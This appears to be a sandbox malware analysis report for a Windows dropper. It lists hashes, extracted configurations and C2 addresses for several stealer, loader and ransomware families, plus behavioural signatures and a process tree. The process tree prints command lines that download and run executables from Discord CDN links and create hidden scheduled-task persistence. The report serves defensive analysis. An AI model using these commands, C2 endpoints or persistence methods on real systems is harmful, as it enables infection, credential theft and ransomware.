Resubmissions

23-10-2021 15:52

211023-tbkbesdcfm 10

22-10-2021 17:40

211022-v8trsscggr 10

22-10-2021 15:55

211022-tc9ygacgan 10

22-10-2021 14:38

211022-rz1bfabgb8 10

Analysis

  • max time kernel
    234s
  • max time network
    2700s
  • platform
    windows10_x64
  • resource
    win10-ja-20211014
  • submitted
    22-10-2021 15:55

General

  • Target

    Fri051e1e7444.exe

  • Size

    403KB

  • MD5

    b4c503088928eef0e973a269f66a0dd2

  • SHA1

    eb7f418b03aa9f21275de0393fcbf0d03b9719d5

  • SHA256

    2a95ce43c87b8a26be71a459eae796a572422bd99cf0b9a3580a3a68e7dbd1a2

  • SHA512

    c6fe2e2b5fbf9348701d1721f2b7ac7589b04b0308ae152e3a7186692b14f35e55bc7eed0c94a03031837b6f2b6aa4dc8d094aefce02913f1fbc4dedea452465

Malware Config

Extracted

Family

vidar

Version

41.5

Botnet

937

C2

https://mas.to/@xeroxxx

Attributes
  • profile_id

    937

Extracted

Family

raccoon

rc4.plain

Extracted

Family

redline

C2

205.185.119.191:60857

Extracted

Family

vidar

Version

41.5

Botnet

903

C2

https://mas.to/@xeroxxx

Attributes
  • profile_id

    903

Extracted

Family

smokeloader

Version

2020

C2

http://gejajoo7.top/

http://sysaheu9.top/

rc4.i32
rc4.i32

Extracted

Family

vidar

Version

41.5

Botnet

921

C2

https://mas.to/@xeroxxx

Attributes
  • profile_id

    921

Extracted

Family

raccoon

Botnet

7c9b4504a63ed23664e38808e65948379b790395

Attributes
  • url4cnc

    http://telegka.top/capibar

    http://telegin.top/capibar

    https://t.me/capibar

rc4.plain
rc4.plain

Extracted

Family

icedid

Campaign

1875681804

Extracted

Family

djvu

C2

http://rlrz.org/lancer

Signatures

  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • suricata: ET MALWARE DCRAT Activity (GET)

    suricata: ET MALWARE DCRAT Activity (GET)

  • suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

    suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

  • suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity

    suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity

  • suricata: ET MALWARE Win32/IcedID Request Cookie

    suricata: ET MALWARE Win32/IcedID Request Cookie

  • suricata: ET MALWARE Win32/Kelihos.F exe Download 2

    suricata: ET MALWARE Win32/Kelihos.F exe Download 2

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 7 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 64 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Tries to connect to .bazar domain 64 IoCs

    Attempts to lookup or connect to a .bazar domain, used by BazarBackdoor, Trickbot, and potentially others.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks BIOS information in registry 2 TTPs 18 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 37 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 9 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 13 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 20 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 12 IoCs
  • Drops file in Program Files directory 20 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 14 IoCs
  • Checks SCSI registry key(s) 3 TTPs 15 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 20 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 4 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 9 IoCs
  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 20 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s WpnService
    1⤵
      PID:2688
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s BITS
      1⤵
      • Suspicious use of SetThreadContext
      • Modifies registry class
      PID:1656
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:7628
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
      1⤵
        PID:2676
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Browser
        1⤵
          PID:2592
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2408
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
            1⤵
              PID:2380
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
              1⤵
                PID:1940
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s SENS
                1⤵
                  PID:1448
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                  1⤵
                    PID:1360
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Themes
                    1⤵
                      PID:1260
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                      1⤵
                        PID:1164
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                        1⤵
                        • Drops file in System32 directory
                        PID:924
                        • C:\Users\Admin\AppData\Roaming\dvrtjej
                          C:\Users\Admin\AppData\Roaming\dvrtjej
                          2⤵
                            PID:6032
                            • C:\Users\Admin\AppData\Roaming\dvrtjej
                              C:\Users\Admin\AppData\Roaming\dvrtjej
                              3⤵
                              • Checks SCSI registry key(s)
                              • Suspicious behavior: MapViewOfSection
                              PID:6600
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                            C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                            2⤵
                              PID:9092
                              • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                3⤵
                                  PID:6416
                                  • C:\Windows\SysWOW64\schtasks.exe
                                    /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                                    4⤵
                                    • Creates scheduled task(s)
                                    PID:9200
                              • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                2⤵
                                • Checks whether UAC is enabled
                                PID:6588
                                • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                  3⤵
                                    PID:8172
                                • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                  2⤵
                                    PID:8684
                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                      C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                      3⤵
                                        PID:6556
                                    • C:\Users\Admin\AppData\Roaming\dvrtjej
                                      C:\Users\Admin\AppData\Roaming\dvrtjej
                                      2⤵
                                        PID:9160
                                        • C:\Users\Admin\AppData\Roaming\dvrtjej
                                          C:\Users\Admin\AppData\Roaming\dvrtjej
                                          3⤵
                                            PID:4516
                                        • C:\Users\Admin\AppData\Roaming\usrtjej
                                          C:\Users\Admin\AppData\Roaming\usrtjej
                                          2⤵
                                            PID:8200
                                          • C:\Users\Admin\AppData\Roaming\djrtjej
                                            C:\Users\Admin\AppData\Roaming\djrtjej
                                            2⤵
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            • Adds Run key to start application
                                            PID:5288
                                          • C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe
                                            C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe --Task
                                            2⤵
                                              PID:7452
                                              • C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe
                                                C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe --Task
                                                3⤵
                                                  PID:5820
                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                2⤵
                                                  PID:4532
                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                    3⤵
                                                      PID:1788
                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                    2⤵
                                                      PID:2160
                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                        C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                        3⤵
                                                          PID:3380
                                                      • C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe
                                                        C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe --Task
                                                        2⤵
                                                          PID:4552
                                                          • C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe
                                                            C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe --Task
                                                            3⤵
                                                              PID:6580
                                                          • C:\Users\Admin\AppData\Roaming\dvrtjej
                                                            C:\Users\Admin\AppData\Roaming\dvrtjej
                                                            2⤵
                                                              PID:3024
                                                              • C:\Users\Admin\AppData\Roaming\dvrtjej
                                                                C:\Users\Admin\AppData\Roaming\dvrtjej
                                                                3⤵
                                                                  PID:8492
                                                              • C:\Users\Admin\AppData\Roaming\djrtjej
                                                                C:\Users\Admin\AppData\Roaming\djrtjej
                                                                2⤵
                                                                  PID:5764
                                                                • C:\Users\Admin\AppData\Roaming\usrtjej
                                                                  C:\Users\Admin\AppData\Roaming\usrtjej
                                                                  2⤵
                                                                    PID:6348
                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                    2⤵
                                                                      PID:7900
                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                        C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                        3⤵
                                                                          PID:8412
                                                                      • C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe
                                                                        C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe --Task
                                                                        2⤵
                                                                          PID:7436
                                                                          • C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe
                                                                            C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe --Task
                                                                            3⤵
                                                                              PID:4788
                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                            C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                            2⤵
                                                                              PID:1432
                                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                3⤵
                                                                                  PID:2168
                                                                              • C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe
                                                                                C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe --Task
                                                                                2⤵
                                                                                  PID:4200
                                                                                  • C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe
                                                                                    C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe --Task
                                                                                    3⤵
                                                                                      PID:2056
                                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                    2⤵
                                                                                      PID:3368
                                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                        C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                        3⤵
                                                                                          PID:7916
                                                                                      • C:\Users\Admin\AppData\Roaming\dvrtjej
                                                                                        C:\Users\Admin\AppData\Roaming\dvrtjej
                                                                                        2⤵
                                                                                          PID:6940
                                                                                          • C:\Users\Admin\AppData\Roaming\dvrtjej
                                                                                            C:\Users\Admin\AppData\Roaming\dvrtjej
                                                                                            3⤵
                                                                                              PID:5856
                                                                                          • C:\Users\Admin\AppData\Roaming\usrtjej
                                                                                            C:\Users\Admin\AppData\Roaming\usrtjej
                                                                                            2⤵
                                                                                              PID:5888
                                                                                            • C:\Users\Admin\AppData\Roaming\djrtjej
                                                                                              C:\Users\Admin\AppData\Roaming\djrtjej
                                                                                              2⤵
                                                                                                PID:4816
                                                                                              • C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe
                                                                                                C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe --Task
                                                                                                2⤵
                                                                                                  PID:3600
                                                                                                  • C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe
                                                                                                    C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe --Task
                                                                                                    3⤵
                                                                                                      PID:4792
                                                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                    2⤵
                                                                                                      PID:3204
                                                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                        C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                        3⤵
                                                                                                          PID:8588
                                                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                        C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                        2⤵
                                                                                                          PID:2644
                                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                            C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                            3⤵
                                                                                                              PID:4276
                                                                                                          • C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe
                                                                                                            C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe --Task
                                                                                                            2⤵
                                                                                                              PID:5044
                                                                                                              • C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe
                                                                                                                C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026\4BF4.exe --Task
                                                                                                                3⤵
                                                                                                                  PID:3572
                                                                                                              • C:\Users\Admin\AppData\Roaming\dvrtjej
                                                                                                                C:\Users\Admin\AppData\Roaming\dvrtjej
                                                                                                                2⤵
                                                                                                                  PID:7420
                                                                                                                  • C:\Users\Admin\AppData\Roaming\dvrtjej
                                                                                                                    C:\Users\Admin\AppData\Roaming\dvrtjej
                                                                                                                    3⤵
                                                                                                                      PID:8308
                                                                                                                  • C:\Users\Admin\AppData\Roaming\djrtjej
                                                                                                                    C:\Users\Admin\AppData\Roaming\djrtjej
                                                                                                                    2⤵
                                                                                                                      PID:3904
                                                                                                                    • C:\Users\Admin\AppData\Roaming\usrtjej
                                                                                                                      C:\Users\Admin\AppData\Roaming\usrtjej
                                                                                                                      2⤵
                                                                                                                        PID:7620
                                                                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                                        C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                                        2⤵
                                                                                                                          PID:8848
                                                                                                                      • c:\windows\system32\svchost.exe
                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                                                                                        1⤵
                                                                                                                          PID:304
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Fri051e1e7444.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Fri051e1e7444.exe"
                                                                                                                          1⤵
                                                                                                                          • Checks computer location settings
                                                                                                                          • Modifies system certificate store
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                          PID:3520
                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\S5BmPCmh40VnuNHvZ2PjliPf.exe
                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\S5BmPCmh40VnuNHvZ2PjliPf.exe"
                                                                                                                            2⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            PID:2312
                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\qwwu6EL06OQec9zXeJteeOrg.exe
                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\qwwu6EL06OQec9zXeJteeOrg.exe"
                                                                                                                            2⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Drops file in Program Files directory
                                                                                                                            PID:2020
                                                                                                                            • C:\Program Files (x86)\Company\NewProduct\inst3.exe
                                                                                                                              "C:\Program Files (x86)\Company\NewProduct\inst3.exe"
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:4212
                                                                                                                            • C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe
                                                                                                                              "C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:4128
                                                                                                                            • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                                                                              "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:3584
                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\evWaUyRsWCusTPWjmb7yyzNH.exe
                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\evWaUyRsWCusTPWjmb7yyzNH.exe"
                                                                                                                            2⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                            PID:2184
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2D6.tmp\2D7.tmp\2D8.bat "C:\Users\Admin\Pictures\Adobe Films\evWaUyRsWCusTPWjmb7yyzNH.exe""
                                                                                                                              3⤵
                                                                                                                                PID:2600
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2D6.tmp\2D7.tmp\extd.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2D6.tmp\2D7.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/901113291861028926/901113305991643206/18.exe" "18.exe" "" "" "" "" "" ""
                                                                                                                                  4⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:4656
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2D6.tmp\2D7.tmp\extd.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2D6.tmp\2D7.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/901113291861028926/901113363139035156/Transmissibility.exe" "Transmissibility.exe" "" "" "" "" "" ""
                                                                                                                                  4⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:1072
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\28530\18.exe
                                                                                                                                  18.exe
                                                                                                                                  4⤵
                                                                                                                                    PID:6728
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\28530\Transmissibility.exe
                                                                                                                                    Transmissibility.exe
                                                                                                                                    4⤵
                                                                                                                                      PID:6880
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2D6.tmp\2D7.tmp\extd.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2D6.tmp\2D7.tmp\extd.exe "" "" "" "" "" "" "" "" ""
                                                                                                                                      4⤵
                                                                                                                                        PID:7164
                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\C5NIA8tto9grruC4VmMdwPrj.exe
                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\C5NIA8tto9grruC4VmMdwPrj.exe"
                                                                                                                                    2⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                    PID:1684
                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\C5NIA8tto9grruC4VmMdwPrj.exe
                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\C5NIA8tto9grruC4VmMdwPrj.exe"
                                                                                                                                      3⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                                                      PID:2200
                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\iwQ4SDIL3gIWlmQUmmzysB3e.exe
                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\iwQ4SDIL3gIWlmQUmmzysB3e.exe"
                                                                                                                                    2⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:3696
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                                                                      3⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:5176
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                                                                      3⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:5236
                                                                                                                                    • C:\Users\Admin\Documents\Bja05lgkLurbpf9mSwDRaKAR.exe
                                                                                                                                      "C:\Users\Admin\Documents\Bja05lgkLurbpf9mSwDRaKAR.exe"
                                                                                                                                      3⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Checks computer location settings
                                                                                                                                      PID:5148
                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\_YzoflxrqxNhggzPCJ_WlJQR.exe
                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\_YzoflxrqxNhggzPCJ_WlJQR.exe"
                                                                                                                                        4⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:4580
                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\d_gW2dADIS3I7nXOQO6A2gsK.exe
                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\d_gW2dADIS3I7nXOQO6A2gsK.exe"
                                                                                                                                        4⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:5952
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-CS703.tmp\d_gW2dADIS3I7nXOQO6A2gsK.tmp
                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-CS703.tmp\d_gW2dADIS3I7nXOQO6A2gsK.tmp" /SL5="$20238,506127,422400,C:\Users\Admin\Pictures\Adobe Films\d_gW2dADIS3I7nXOQO6A2gsK.exe"
                                                                                                                                          5⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          PID:5904
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-BOUO1.tmp\DYbALA.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-BOUO1.tmp\DYbALA.exe" /S /UID=2709
                                                                                                                                            6⤵
                                                                                                                                            • Drops file in Drivers directory
                                                                                                                                            • Adds Run key to start application
                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                            PID:6636
                                                                                                                                            • C:\Program Files\Mozilla Firefox\OTONFPFYGF\foldershare.exe
                                                                                                                                              "C:\Program Files\Mozilla Firefox\OTONFPFYGF\foldershare.exe" /VERYSILENT
                                                                                                                                              7⤵
                                                                                                                                                PID:6684
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\23-1483c-7b8-285ac-788d81cd03937\SHodecytolae.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\23-1483c-7b8-285ac-788d81cd03937\SHodecytolae.exe"
                                                                                                                                                7⤵
                                                                                                                                                  PID:4956
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\47-e059d-1ef-fe1bf-dee280541d1f7\Viloxaehede.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\47-e059d-1ef-fe1bf-dee280541d1f7\Viloxaehede.exe"
                                                                                                                                                  7⤵
